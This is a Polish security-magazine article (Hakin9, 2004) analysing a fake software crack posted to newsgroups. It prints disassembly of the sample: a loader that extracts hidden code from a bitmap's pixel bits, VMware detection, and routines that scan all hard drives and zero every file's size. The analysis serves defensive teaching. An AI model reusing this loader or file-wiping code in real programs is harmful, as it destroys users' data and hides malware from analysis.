analiza działania podejrzanego programu

12
Analiza działania podejrzanego programu Bartosz Wójcik Artykuł opublikowany w numerze 6/2004 magazynu Hakin9 Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone pod warunkiem zachowania jego obecnej formy i treści. Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, [email protected]

Upload: krystion

Post on 24-Sep-2015

216 views

Category:

Documents


1 download

DESCRIPTION

Analiza Działania Podejrzanego Programu

TRANSCRIPT

  • Analiza dziaaniapodejrzanego programu

    Bartosz Wjcik

    Artyku opublikowany w numerze 6/2004 magazynu Hakin9Wszelkie prawa zastrzeone. Bezpatne kopiowanie i rozpowszechnianie artykuu dozwolone

    pod warunkiem zachowania jego obecnej formy i treci.Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, [email protected]

  • www.hakin9.org2 Hakin9 Nr 6/2004

    Obr

    ona

    www.hakin9.org 3Hakin9 Nr 6/2004

    Analiza podejrzanego programu

    Pod koniec wrzenia 2004 roku na licie dyskusyjnej pl.comp.programming po-jawi si post o temacie UNIWERSAL-NY CRACK DO MKS-VIRA!!!! Znajdowa si w nim odnonik do archiwum crack.zip z ma-ym plikiem wykonywalnym wewntrz. Z wy-powiedzi uytkownikw wynikao, e program ten nie by crackiem w dodatku najprawdo-podobniej zawiera podejrzany kod. Link do te-go samego pliku znalaz si rwnie w postach na przynajmniej piciu innych listach dyskusyj-nych (gdzie nie udawa ju cracka, ale na przy-kad amacz hase Gadu-Gadu). Ciekawo sprawia, e zdecydowalimy si na analiz po-dejrzanego pliku.

    Taka analiza skada si z dwch etapw. Najpierw naley przyjrze si oglnej budowie pliku wykonywalnego i zwrci uwag na jego list zasobw (patrz Ramka Zasoby w progra-mach dla Windows) oraz ustali jzyk progra-mowania, w ktrym napisano program. Trze-ba take sprawdzi, czy plik wykonywalny zo-sta skompresowany (na przykad kompreso-rami FSG, UPX, Aspack). Dziki tym informa-cjom bdzie wiadomo, czy od razu przej do analizy kodu, czy te gdyby okazao si, e jest on skompresowany najpierw rozpakowa

    Analiza dziaania podejrzanego programuBartosz Wjcik

    Warto zastanowi si nad uruchomieniem pobranego z sieci przypadkowego pliku. Cho nie kady niesie ze sob zagroenie, atwo trafi na zoliwy program wykorzystujcy nasz naiwno. Moemy za ni sono zapaci. Zanim wic uruchomimy nieznany program, sprbujmy przeanalizowa jego dziaanie.

    plik. Analiza kodu skompresowanych plikw nie ma bowiem sensu.

    Drugim i najwaniejszym etapem bdzie analiza samego podejrzanego programu oraz, ewentualnie, wyuskanie z pozornie niewin-nych zasobw aplikacji ukrytego kodu. Pozwoli to dowiedzie si, jak dziaa program i jakie s skutki jego uruchomienia. Jak si przekonamy, taka analiza jest uzasadniona. Rzekomy crack z pewnoci nie naley do nieszkodliwych pro-gramw. Jeli wic Czytelnik natrafi kiedykol-wiek na rwnie podejrzany plik, gorco zach-camy do przeprowadzenia podobnej analizy.

    Szybkie rozpoznanieW pobranym archiwum crack.zip znajdowa si jeden plik: patch.exe, ktry mia niecae 200

    Z artykuu nauczysz si...

    jak w systemie Windows przeprowadzi analiz nieznanego programu.

    Powiniene wiedzie... powiniene zna przynajmniej podstawy pro-

    gramowania w asemblerze i C++.

  • www.hakin9.org2 Hakin9 Nr 6/2004

    Obr

    ona

    www.hakin9.org 3Hakin9 Nr 6/2004

    Analiza podejrzanego programu

    KB objtoci. Uwaga! Gorco zale-camy zmian rozszerzenia tego pli-ku przed rozpoczciem jego bada-nia, na przykad na patch.bin. Uchro-ni nas to przed przypadkowym uru-chomieniem nieznanego programu skutki takiego bdu mogyby by bardzo powane.

    W pierwszym etapie analizy mu-simy pozna budow podejrzanego pliku. Do tego celu doskonale nada-je si identyfikator plikw wykonywal-nych PEiD. Wbudowana we baza danych umoliwia okrelenie jzyka uytego do stworzenia aplikacji oraz zidentyfikowanie najpopularniejszych typw kompresorw i protektorw pli-kw wykonywalnych. Mona te sko-rzysta z nieco starszego identyfika-tora plikw FileInfo, nie jest on jednak tak dynamicznie rozwijany jak PEiD i otrzymany wynik moe by mniej precyzyjny.

    Jakie wic informacje uzyskali-my za pomoc PEiD? Strukturalnie patch.exe jest 32-bitowym plikiem wykonywalnym w charakterystycz-nym dla platformy Windows forma-cie Portable Executable (PE). Wida (patrz Rysunek 1), e program zo-sta napisany przy uyciu MS Visual C++ 6.0. Dziki PEiD wiemy take, i nie zosta on ani skompresowany,

    Zasoby w programach dla WindowsZasoby w aplikacjach dla systemw Windows to dane definiujce dostp-ne dla uytkownika elementy progra-mu. Dziki nim interfejs uytkownika jest jednolity, za zastpienie jednego z elementw aplikacji bardzo atwe. Za-soby s oddzielone od kodu programu. O ile edycja samego pliku wykonywal-nego jest praktycznie niemoliwa, o ty-le modyfikacja zasobu (na przykad za-miana ta okna) nie nastrcza trudnoci wystarczy uy jednego z wielu do-stpnych w sieci narzdzi, na przykad opisywanego eXeScope.

    Zasoby mog mie posta prawie kadego formatu danych. Zwykle s to pliki multimedialne (m. in. GIF, JPEG, AVI, WAVE), jednak mog by take osobnymi programami wykonywalny-mi, plikami tekstowymi czy dokumenta-mi HTML i RTF.

    Rysunek 1. Identyfikator PEiD w akcji

    Rysunek 2. Edytor zasobw eXeScope

    Rysunek 3. Procedura WinMain() w deasemblerze IDA

  • www.hakin9.org4 Hakin9 Nr 6/2004

    Obr

    ona

    ani zabezpieczony. Pozostae infor-macje, takie jak rodzaj podsystemu, offset pliku czy tak zwany punkt wej-ciowy (ang. entrypoint) s dla nas w tej chwili nieistotne.

    Wiedza o strukturze podejrzane-go pliku to nie wszystko koniecz-ne jest poznanie zasobw aplikacji.

    Wykorzystamy do tego celu program eXeScope, ktry umoliwia przegl-danie i edytowanie zasobw w pli-kach wykonywalnych (patrz Rysu-nek 2).

    Przegldajc plik w edytorze za-sobw natrafimy jedynie na standar-dowe typy danych bitmap, jedno

    okno dialogowe, ikon oraz manifest (okna aplikacji z tym zasobem wyko-rzystuj w systemach Windows XP nowe style graficzne, bez niego wy-wietlany jest standardowy, znany z systemw Windows 9x interfejs graficzny). Na pierwszy rzut oka wy-daje si wic, e plik patch.exe jest zupenie niewinn aplikacj. Pozory jednak mog myli. Aby zdoby pew-no, musimy przeprowadzi mud-n analiz zdeasemblowanego pro-gramu i jeli bdzie to konieczne odnale dodatkowy, ukryty we-wntrz pliku kod.

    Analiza koduDo przeprowadzenia analizy kodu podejrzanej aplikacji wykorzystamy znakomity (komercyjny) deasembler IDA firmy DataRescue. IDA uchodzi obecnie za najlepsze tego typu na-rzdzie umoliwia szczegow analiz prawie wszystkich rodzajw plikw wykonywalnych. Wersja de-monstracyjna, dostpna na stronie internetowej producenta, umoliwia jedynie analiz plikw Portable Exe-cutable ale to nam w zupenoci wystarczy, poniewa patch.exe jest wanie w tym formacie.

    Procedura WinMain()Po zaadowaniu pliku patch.exe do dekompilatora IDA (patrz Rysu-nek 3) znajdziemy si w procedurze WinMain(), ktra jest punktem wej-ciowym dla aplikacji napisanych w jzyku C++. W rzeczywistoci punktem wejciowym kadej aplikacji jest tak zwany entrypoint (ang. punkt wejcia), ktrego adres zapisany jest w nagwku pliku PE i od ktrego za-czyna si wykonywanie kodu aplika-cji. Jednak w przypadku programw C++ kod z prawdziwego punktu wej-ciowego odpowiedzialny jest jedynie za inicjalizacj wewntrznych zmien-nych programista nie ma na niego wpywu. Nas za interesuje jedynie to, co zostao napisane przez progra-mist. Procedura WinMain() widoczna jest na Listingu 1.

    Taka posta kodu moe by trud-na do analizy aby uatwi jego zro-zumienie, przetumaczymy go na j-zyk C++. Z prawie kadego deadli-

    Listing 1. Procedura WinMain()

    .text:00401280 ; __stdcall WinMain(x,x,x,x)

    .text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p

    .text:00401280

    .text:00401280 hInstance = dword ptr 4

    .text:00401280

    .text:00401280 mov eax, [esp+hInstance]

    .text:00401284 push 0 ; dwInitParam

    .text:00401286 push offset DialogFunc ; lpDialogFunc

    .text:0040128B push 0 ; hWndParent

    .text:0040128D push 65h ; lpTemplateName

    .text:0040128F push eax ; hInstance

    .text:00401290 mov dword_405554, eax

    .text:00401295 call ds:DialogBoxParamA

    .text:00401295 ; Create a model dialog box from a

    .text:00401295 ; dialog box template resource

    .text:0040129B mov eax, hHandle

    .text:004012A0 push INFINITE ; dwMilliseconds

    .text:004012A2 push eax ; hHandle

    .text:004012A3 call ds:WaitForSingleObject

    .text:004012A9 retn 10h

    .text:004012A9 _WinMain@16 endp

    Listing 2. Procedura WinMain() przetumaczona na jzyk C++

    WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

    LPSTR lpCmdLine, int nShowCmd)

    {

    // wywietl okno dialogowe

    DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA,

    NULL, DialogFunc, 0);

    // zakocz program, dopiero wtedy,

    // gdy zwolniony zostanie uchwyt hHandle

    return WaitForSingleObject(hHandle, INFINITE);

    }

    Listing 3. Fragment kodu odpowiedzialny za zapis do zmiennej

    .text:004010F7 mov edx, offset lpInterfejs

    .text:004010FC mov eax, lpWskaznikKodu

    .text:00401101 jmp short loc_401104 ; tajemniczy "call"

    .text:00401103 db 0B8h ; mieci, tzw. "junk"

    .text:00401104 loc_401104: ; CODE XREF: .text:00401101j

    .text:00401104 call eax ; tajemniczy "call"

    .text:00401106 db 0 ; mieci

    .text:00401107 db 0 ; jak wyej

    .text:00401108 mov hHandle, eax ; ustawienie uchwytu

    .text:0040110D pop edi

    .text:0040110E mov eax, 1

    .text:00401113 pop esi

    .text:00401114 retn

  • www.hakin9.org 5Hakin9 Nr 6/2004

    Analiza podejrzanego programu

    stingu (zdeasemblowanego kodu) mona, z wikszymi lub mniejszymi trudnociami, zrekonstruowa kod w jzyku programowania, w ktrym oryginalnie zosta napisany. Narz-dzia takie jak IDA dostarczaj jedy-nie podstawowych informacji, takich jak konwencje wywoywania funk-cji (na przykad stdcall czy cdecl). Cho istniej specjalne pluginy dla IDA umoliwiajce prost dekompi-lacj kodu x86, to wynik ich dziaania pozostawia wiele do yczenia.

    Aby dokona takiej translacji, na-ley przeanalizowa struktur funk-cji, wyodrbni zmienne lokalne i wreszcie odnale w kodzie odwo-ania do zmiennych globalnych. In-formacje dostarczane przez IDA wy-starcz do ustalenia, jakie parametry (i ile) przyjmuje analizowana funk-cja. Dodatkowo dziki deasemblero-wi dowiemy si, jakie wartoci zwra-ca dana funkcja, z jakich procedur WinApi korzysta oraz do jakich da-nych si odwouje. Naszym poczt-kowym zadaniem jest zdefiniowanie typu funkcji, konwencji jej wywoania i typw parametrw. Nastpnie, wy-korzystujc dane z IDA, definiujemy zmienne lokalne funkcji.

    Gdy oglny zarys funkcji zosta-nie stworzony, mona wzi si za odtworzenie kodu. Pierwszym kro-kiem jest odbudowa wywoa innych funkcji (WinApi, ale nie tylko, bo tak-e odwoa do wewntrznych funkcji programu) na przykad dla funkcji WinApi analizujemy kolejno zapa-mitywane parametry, ktre zapi-sywane s na stosie instrukcj push w kolejnoci odwrotnej (od ostat-niego parametru do pierwszego), ni nastpuje ich zapis w wywoa-niu funkcji w oryginalnym kodzie. Po zgromadzeniu informacji o wszyst-kich parametrach mona odtwo-rzy oryginalne odwoanie do funk-cji. Najtrudniejszym elementem re-konstrukcji kodu programu (w jzyku wysokiego poziomu) jest odtworze-nie logiki dziaania umiejtne roz-poznanie operatorw logicznych (or, xor, not) i arytmetycznych (dodawa-nie, odejmowanie, mnoenie, dziele-nie) oraz instrukcji warunkowych, (if, else, switch) czy wreszcie ptli (for,

    while, do). Dopiero wszystkie te in-formacje zebrane w cao pozwala-j przeoy kod asemblera na jzyk uyty do stworzenia aplikacji.

    Wynika z tego, e translacja ko-du na jzyk wysokiego poziomu wy-maga ludzkiej pracy oraz dowiad-czenia w badaniu kodu i programo-waniu. Na szczcie przeoenie nie jest konieczne do naszej analizy, je-dynie j uatwia. Przetumaczon na C++ procedur WinMain() mona znale na Listingu 2.

    Jak widzimy, w programie naj-pierw wywoywana jest procedu-ra DialogBoxParam(), wywietlaj-ca okno dialogowe. Jego identyfi-kator okrela okno zapisane w za-sobach pliku wykonywalnego. Na-stpnie wywoywana jest procedu-

    ra WaitForSingleObject() i program koczy dziaanie. Z tego kodu mo-na wywnioskowa, e program wy-wietla okno dialogowe, nastpnie po jego zamkniciu (gdy ju nie b-dzie widoczne) czeka tak dugo, do-pki nie zostanie zwolniony uchwyt hHandle. Mwic najprociej: pro-gram nie zakoczy dziaania, dopki nie zakoczy si wykonywanie inne-go kodu, zainicjowanego wczeniej przez WinMain(). Najczciej w ten sposb czeka si na zakoczenie pracy kodu uruchomionego w od-dzielnym wtku (ang. thread).

    C taki prosty program mo-e chcie zrobi tu po zamkniciu gwnego okna? Najprawdopodob-niej co zego. Trzeba wic znale w kodzie miejsce, w ktrym ustawia-

    Rysunek 4. Okno referencji w programie IDA

    Listing 4. Kod odpowiedzialny za zapis do zmiennej w edytorze Hiew

    .00401101: EB01 jmps .000401104 ; skok w rodek instrukcji

    .00401103: B8FFD00000 mov eax,00000D0FF ; ukryta instrukcja

    .00401108: A3E4564000 mov [004056E4],eax ; ustawienie uchwytu

    .0040110D: 5F pop edi

    .0040110E: B801000000 mov eax,000000001

    .00401113: 5E pop esi

    .00401114: C3 retn

    Listing 5. Zmienna lpWskaznikKodu

    .text:00401074 push ecx

    .text:00401075 push 0

    .text:00401077 mov dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy

    .text:0040107D call ds:VirtualAlloc ; alokuj pami, adres zaalokowanego

    .text:0040107D ; bloku znajdzie si w rejestrze eax

    .text:00401083 mov ecx, dwRozmiarBitmapy

    .text:00401089 mov edi, eax ; edi = adres zaalokowanej pamici

    .text:0040108B mov edx, ecx

    .text:0040108D xor eax, eax

    .text:0040108F shr ecx, 2

    .text:00401092 mov lpWskaznikKodu, edi ; zapisz adres zaalokowanej pamici

    .text:00401092 ; do zmiennej lpWskaznikKodu

  • www.hakin9.org6 Hakin9 Nr 6/2004

    Obr

    ona

    ny jest uchwyt hHandle skoro jest odczytywany, to wczeniej musi zo-sta gdzie zapisany. Aby to zrobi w deasemblerze IDA, naley klik-n nazw zmiennej hHandle. W ten sposb znajdziemy si w miejscu jej pooenia w sekcji danych (uchwyt

    hHandle to po prostu 32-bitowa war-to typu DWORD):

    .data:004056E4 ; HANDLE hHandle

    .data:004056E4 hHandle

    dd 0

    ; DATA XREF: .text:00401108w

    .data:004056E4

    ; WinMain(x,x,x,x)+1Br

    Po prawej stronie od nazwy zmien-nej znajduj si tak zwane referen-cje (patrz Rysunek 4) informa-cje o miejscach w kodzie, z ktrych zmienna jest odczytywana lub mo-dyfikowana.

    Tajemnicze referencjePrzyjrzyjmy si referencjom uchwy-tu hHandle. Jednym z tych miejsc jest przedstawiona wczeniej procedura WinMain(), w ktrej zmienna jest od-czytywana (mwi nam o tym litera r, od angielskiego read). Bardziej god-na uwagi jest jednak druga referen-cja (na licie znajduje si jako pierw-sza), ktrej opis mwi, e zmienna hHandle jest w tym miejscu modyfiko-wana (litera w, od angielskiego wri-te). Teraz wystarczy w ni klikn, aby znale si we fragmencie kodu odpowiedzialnym za zapis do zmien-nej. Fragment ten przedstawiono na Listingu 3.

    Krtkie wyjanienie do tego ko-du: najpierw do rejestru eax wczy-tywany jest wskanik do obsza-ru, w ktrym znajduje si kod (mov eax, lpWskaznikKodu). Nastpnie wykonywany jest skok do instrukcji wywoujcej procedur (jmp short loc _ 401104). Gdy procedura ta zo-stanie ju wywoana, w rejestrze eax znajdzie si warto uchwytu (zwy-kle wszystkie procedury zwraca-j wartoci i kody bdw wanie w tym rejestrze procesora), ktra na-stpnie zostanie zapisana do zmien-nej hHandle.

    Kto, kto dobrze zna asembler, na pewno zauway, e ten fragment kodu wyglda podejrzanie (niestan-dardowo w porwnaniu do zwyke-go skompilowanego kodu C++). De-asembler IDA nie pozwala jednak na ukrywanie czy zamazywanie in-strukcji. Skorzystajmy wic z edyto-ra szesnastkowego Hiew, aby jesz-cze raz przeledzi ten sam kod (Li-sting 4).

    Nie wida tu instrukcji call eax, gdy jej opcody (bajty instrukcji) zo-stay wstawione w rodek instruk-cji mov eax, 0xD0FF. Dopiero po za-

    Listing 6. Fragment kodu odpowiedzialny za wydobycie danych z bitmapy

    .text:004010BE kolejny_bajt: ; CODE XREF: .text:004010F4j

    .text:004010BE mov edi, lpWskaznikKodu

    .text:004010C4 xor ecx, ecx

    .text:004010C6 jmp short loc_4010CE

    .text:004010C8 kolejny_bit: ; CODE XREF: .text:004010E9j

    .text:004010C8 mov edi, lpWskaznikKodu

    .text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj

    .text:004010CE ; .text:004010C6j

    .text:004010CE mov edx, lpWskaznikBitmapy

    .text:004010D4 mov bl, [edi+eax] ; "poskadany" bajt kodu

    .text:004010D7 mov dl, [edx+esi] ; kolejny bajt skadowej kolorw RGB

    .text:004010DA and dl, 1 ; maskuj najmniej znaczcy bit skadowej

    kolorw

    .text:004010DD shl dl, cl ; bit skadowej RGB

  • www.hakin9.org 7Hakin9 Nr 6/2004

    Analiza podejrzanego programu

    mazaniu pierwszego bajtu instrukcji mov zobaczymy, jaki kod zostanie na-prawd wykonany:

    .00401101: EB01

    jmps .000401104

    ; skok w rodek instrukcji

    .00401103: 90

    nop

    ; zamazany 1 bajt instrukcji "mov"

    .00401104: FFD0

    call eax

    ; ukryta instrukcja

    Wrmy do kodu wywoywanego in-strukcj call eax. Naleaoby si do-wiedzie, dokd prowadzi adres za-pisany w rejestrze eax. Powyej in-strukcji call eax znajduje si instruk-cja, ktra do rejestru eax wpisuje war-to zmiennej lpWskaznikKodu (nazw zmiennej mona w IDA dowolnie zmie-ni, eby atwiej byo zrozumie kod wystarczy na ni najecha kurso-rem, wcisn klawisz N i wprowadzi now nazw). Aby dowiedzie si, co zostao zapisane do tej zmiennej, zno-wu posuymy si referencjami:

    .data:004056E8

    lpWskaznikKodu dd 0

    ; DATA XREF: .text:00401092w

    .data:004056E8

    ; .text:004010A1r

    .data:004056E8

    ; .text:004010BEr

    .data:004056E8

    ; .text:004010C8r

    .data:004056E8

    ; .text:004010FCr

    Zmienna lpWskaznikKodu domylnie ustawiona jest na 0 i przyjmuje inn warto tylko w jednym miejscu ko-du. Klikajc na referencj zapisu do zmiennej, znajdziemy si w kodzie przedstawionym na Listingu 5. Jak wida, zmienna lpWskaznikKodu usta-wiana jest na adres pamici zaaloko-wanej funkcj VirtualAlloc().

    Pozostaje nam sprawdzi, co kryje si w tym tajemniczym frag-mencie kodu.

    Podejrzana bitmapaPrzegldajc wczeniejsze fragmen-ty deadlistingu mona zauway, e

    Listing 8. Kod pobierajcy dane z bitmapy przetumaczony na jzyk C++

    unsigned int i = 0, j = 0, k;

    unsigned int dwRozmiarBitmapy;

    // oblicz ile bajtw zajmuj wszystkie piksele w pliku bitmapy

    dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;

    while (i < dwRozmiarBitmapy) {

    // poskadaj 8 bitw skadowych barw RGB w 1 bajt kodu

    for (k = 0; k < 8; k++) {

    lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1)

  • www.hakin9.org8 Hakin9 Nr 6/2004

    Obr

    ona

    z zasobw pliku patch.exe adowa-na jest jego jedyna bitmapa. Nastp-nie ze skadowych barw RGB kolej-nych pikseli skadane s bajty ukry-tego kodu, ktre nastpnie zapisy-wane s do wczeniej zaalokowa-nej pamici (ktrej adres zapisany jest w zmiennej lpWskaznikKodu). Klu-czowy fragment kodu, odpowiedzial-ny za wydobycie danych z bitmapy, przedstawiono na Listingu 6.

    W kodzie na Listingu 6 mona wyrni dwie ptle. Jedna z nich (wewntrzna) odpowiada za po-bieranie kolejnych bajtw tworz-cych skadowe kolorw RGB (Red czerwony, Green zielony, Blue niebieski) pikseli bitmapy. Bitma-pa w naszym przypadku zapisa-na jest w formacie 24bpp (24 bity na piksel), wic kady piksel opi-sany jest trzema uoonymi jeden

    za drugim bajtami koloru w forma-cie RGB.

    Z kolejnych omiu pobranych baj-tw maskowane s najmniej znacz-ce bity (instrukcj and dl, 1), ktre poskadane w cao tworz jeden bajt kodu. Gdy ten bajt zostanie ju zoony, zostaje ostatecznie zapi-sany do bufora lpWskaznikKodu. Na-stpnie w ptli zewntrznej indeks dla wskanika lpWskaznikKodu jest inkrementowany tak, by wskazywa na miejsce, w ktrym bdzie mona umieci kolejny bajt kodu po czym wraca do pobierania kolejnych omiu bajtw skadowych kolorw.

    Ptla zewntrzna wykonuje si tak dugo, a ze wszystkich pikseli bitmapy zostan wydobyte potrzeb-ne bajty ukrytego kodu. Liczba po-wtrze ptli jest rwna liczbie pik-seli bitmapy, pobieranej bezpored-nio z jej nagwka, a konkretnie z ta-kich danych jak szeroko i wyso-ko (w pikselach) wida to na Li-stingu 7.

    Po wczytaniu bitmapy z zaso-bw pliku wykonywalnego w reje-strze eax znajdzie si adres poczt-ku bitmapy, ktry okrela jej nag-wek. Z nagwka pobierane s wy-miary bitmapy, nastpnie szero-ko mnoona jest przez wysoko bitmapy (w pikselach), co w wyni-ku da nam czn liczb pikseli bit-mapy. Jednak w zwizku z tym, e kady piksel opisany jest trzema bajtami, wynik mnoony jest do-datkowo tyle wanie razy. Otrzy-mujemy w ten sposb finalny roz-miar danych opisujcych wszyst-kie piksele. Aby uatwi zrozumie-nie, przeoony na C++ kod pobie-rajcy dane z bitmapy przedstawia-my na Listingu 8.

    Nasze poszukiwania zakoczy-y si sukcesem wiemy ju, gdzie ukryty jest podejrzany kod. Taj-ne dane zostay zapisane na po-zycjach najmniej znaczcych bitw kolejnych skadowych RGB pikse-li. Dla ludzkiego oka zmodyfikowa-na w ten sposb bitmapa jest prak-tycznie nie do odrnienia od ory-ginalnej rnice s zbyt subtelne, w dodatku musielibymy posiada pierwotny obrazek.

    Listing 11. Dodatkowy wtek wykonanie ukrytego kodu

    kod_wykonywany_w_watku: ; DATA XREF: seg000:00000000r

    push ebp

    mov ebp, esp

    push esi

    push edi

    push ebx

    mov ebx, [ebp+8] ; offset interfejsu z

    ; adresami funkcji WinApi

    ; pod WindowsNT nie wykonuj instrukcji "in"

    ; spowodowaoby to zawieszenie si aplikacji

    cmp [ebx+interfejs.bIsWindowsNT], 1

    jz short nie_wykonuj

    ; wykrywanie wirtualnej maszyny Vmware, jeli wykryto,

    ; e program dziaa pod emulatorem, kod koczy dziaanie

    mov ecx, 0Ah

    mov eax, 'VMXh'

    mov dx, 'VX'

    in eax, dx

    cmp ebx, 'VMXh' ; wykrywanie VMware

    jz loc_1DB

    nie_wykonuj: ; CODE XREF: seg000:00000023j

    mov ebx, [ebp+8] ; offset interfejsu z adresami funkcji WinApi

    call loc_54

    aCreatefilea db 'CreateFileA',0

    loc_54: ; CODE XREF: seg000:00000043p

    push [ebx+interfejs.hKernel32]

    call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi

    mov [ebx+interfejs.CreateFileA], eax

    call loc_6E

    aSetendoffile db 'SetEndOfFile',0

    loc_6E: ; CODE XREF: seg000:0000005Cp

    push [ebx+interfejs.hKernel32]

    call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi

    mov [ebx+interfejs.SetEndOfFile], eax

    ...

    call loc_161

    aSetfileattribu db 'SetFileAttributesA',0

    loc_161: ; CODE XREF: seg000:00000149 p

    push [ebx+interfejs.hKernel32]

    call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi

    mov [ebx+interfejs.SetFileAttributesA], eax

    lea edi, [ebx+interfejs.stFindData] ; WIN32_FIND_DATA

    call skanuj_dyski ; skanowanie stacji dyskw

    sub eax, eax

    inc eax

    pop ebx

    pop edi

    pop esi

    leave

    retn 4 ; tutaj koczy si dziaanie wtku

  • www.hakin9.org 9Hakin9 Nr 6/2004

    Analiza podejrzanego programu

    Kto, kto zada sobie tyle tru-du, by ukry may kawaek kodu, z pewnoci nie mia czystych inten-cji. Przed nami kolejne nieatwe za-danie ukryty kod trzeba wydoby z bitmapy, a nastpnie zbada jego zawarto.

    Metoda wydobycia koduSamo wyizolowanie ukrytego ko-du nie jest skomplikowane mona po prostu uruchomi podejrzany plik patch.exe i, posugujc si debug-gerem (na przykad SoftIce czy Ol-lyDbg), zrzuci przetworzony ju kod z pamici. Lepiej jednak nie ryzyko-wa nie wiadomo, jakie skutki mo-e przynie przypadkowe urucho-mienie programu.

    Podczas tej analizy wykorzysta-limy wasnorcznie napisany pro-sty program, ktry bez uruchamiania aplikacji wydobywa z bitmapy ukry-ty kod (plik decoder.exe autorstwa Bartosza Wjcika, wraz z kodem rdowym i zrzuconym ju ukry-tym kodem, znajduje si na Hakin9 Live). Jego dziaanie polega na za-adowaniu bitmapy z zasobw pliku patch.exe i wydobyciu z niej ukryte-go kodu. Program decoder.exe uy-wa opisanego wczeniej algorytmu, zastosowanego w oryginalnym pro-gramie patch.exe.

    Ukryty kodCzas na analiz wydobytego ukry-tego kodu. Cao (bez komenta-rzy) zawiera si w niecaym kilobaj-cie, mona j znale na doczo-nym do pisma Hakin9 Live. Tutaj omwimy ogln zasad dziaania kodu oraz jego najbardziej interesu-jce fragmenty.

    Aby badany kod mg funkcjo-nowa, musi mie dostp do funkcji systemu Windows (WinApi). W tym przypadku dostp do funkcji WinApi realizowany jest poprzez specjaln struktur interfejs (patrz Listing 9), ktrej adres przekazywany jest w re-jestrze edx do ukrytego kodu. Struk-tura ta jest zapisana w sekcji danych gwnego programu.

    Przed uruchomieniem ukryte-go kodu najpierw adowane s bi-blioteki systemowe kernel32.dll

    Listing 12. Procedura skanujca system w poszukiwaniu dyskw

    skanuj_dyski proc near ; CODE XREF: seg000:0000016Cp

    var_28 = byte ptr -28h

    pusha

    push '\:Y' ; skanowanie dyskw zaczyna si od dysku Y:\

    nastepny_dysk: ; CODE XREF: skanuj_dyski+20j

    push esp ; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)

    call [ebx+interfejs.GetDriveTypeA] ; GetDriveTypeA

    sub eax, 3

    cmp eax, 1

    ja short cdrom_itp ; kolejna litera dysku twardego

    mov edx, esp

    call wymaz_pliki

    cdrom_itp: ; CODE XREF: skanuj_dyski+10j

    dec byte ptr [esp+0] ; kolejna litera dysku twardego

    cmp byte ptr [esp+0], 'C' ; sprawdz, czy doszo do dysku C:\

    jnb short nastepny_dysk ; powtarzaj skanowanie kolejnego dysku

    pop ecx

    popa

    retn

    skanuj_dyski endp

    Listing 13. Procedura wyszukujca pliki na partycji

    wymaz_pliki proc near ; CODE XREF: skanuj_dyski+14p, wymaz_pliki+28p

    pusha

    push edx

    call [ebx+interfejs.SetCurrentDirectoryA]

    push '*' ; maska szukanych plikw

    mov eax, esp

    push edi

    push eax

    call [ebx+interfejs.FindFirstFileA]

    pop ecx

    mov esi, eax

    inc eax

    jz short nie_ma_wiecej_plikow

    znaleziono_plik:; CODE XREF: wymaz_pliki+39j

    test byte ptr [edi], 16 ; czy to katalog?

    jnz short znaleziono_katalog

    call zeruj_rozmiar_pliku

    jmp short szukaj_nastepnego_pliku

    znaleziono_katalog: ; CODE XREF: wymaz_pliki+17j

    lea edx, [edi+2Ch]

    cmp byte ptr [edx], '.'

    jz short szukaj_nastepnego_pliku

    call wymaz_pliki ; rekursywne skanowanie katalogw

    szukaj_nastepnego_pliku: ; CODE XREF: wymaz_pliki+1Ej, wymaz_pliki+26j

    push 5

    call [ebx+interfejs.Sleep]

    push edi

    push esi

    call [ebx+interfejs.FindNextFileA]

    test eax, eax

    jnz short znaleziono_plik ; czy to katalog?

    nie_ma_wiecej_plikow: ; CODE XREF: seg000:0000003Aj, wymaz_pliki+12j

    push esi

    call [ebx+interfejs.FindClose]

    push '..' ; cd ..

    push esp

    call [ebx+interfejs.SetCurrentDirectoryA]

    pop ecx

    popa

    retn

    wymaz_pliki endp

  • www.hakin9.org10 Hakin9 Nr 6/2004

    Obr

    ona

    i user32.dll. Ich uchwyty zostaj za-pisane do struktury interfejs. Na-stpnie w strukturze zapisywane s adresy funkcji GetProcAddress() i CreateThread() oraz znacznik okre-lajcy, czy program uruchomiony zosta pod systemem Windows NT/XP. Uchwyty systemowych bibliotek i dostp do funkcji GetProcAddress() w praktyce umoliwiaj pobranie ad-resu dowolnej procedury i kadej bi-blioteki, nie tylko systemowej.

    Gwny wtekDziaanie ukrytego kodu rozpoczy-na si od uruchomienia przez pro-gram gwny dodatkowego wtku przy wykorzystaniu adresu proce-dury CreateThread(), wczeniej zapi-sanej w strukturze interfejs. Po wy-woaniu CreateThread(), w rejestrze

    eax zwrcony zostaje uchwyt nowo utworzonego wtku (lub 0 w przy-padku bdu), ktry po powrocie do kodu gwnego programu zapisywa-ny jest w zmiennej hHandle (patrz Li-sting 10).

    Spjrzmy na Listing 11, pokazu-jcy wtek odpowiedzialny za wy-konanie ukrytego kodu. Do proce-

    dury uruchomionej w wtku przeka-zywany jest jeden parametr w tym wypadku adres struktury interfejs. Procedura ta natomiast spraw-dza, czy program zosta urucho-miony w rodowisku Windows NT. Dzieje si tak dlatego, e procedu-ra przebiegle prbuje wykry ewen-tualn obecno wirtualnej maszyny Vmware (jeli j wykryje, zakoczy dziaanie), wykorzystujc do tego ce-lu instrukcj asemblera in. Instrukcja ta moe suy do odczytywania da-nych z portw I/O w naszej sytuacji odpowiada za wewntrzn komuni-kacj z oprogramowaniem Vmware. Jej wykonanie w systemie z rodziny Windows NT, w przeciwiestwie do Windows 9x, powoduje zawieszenie programu.

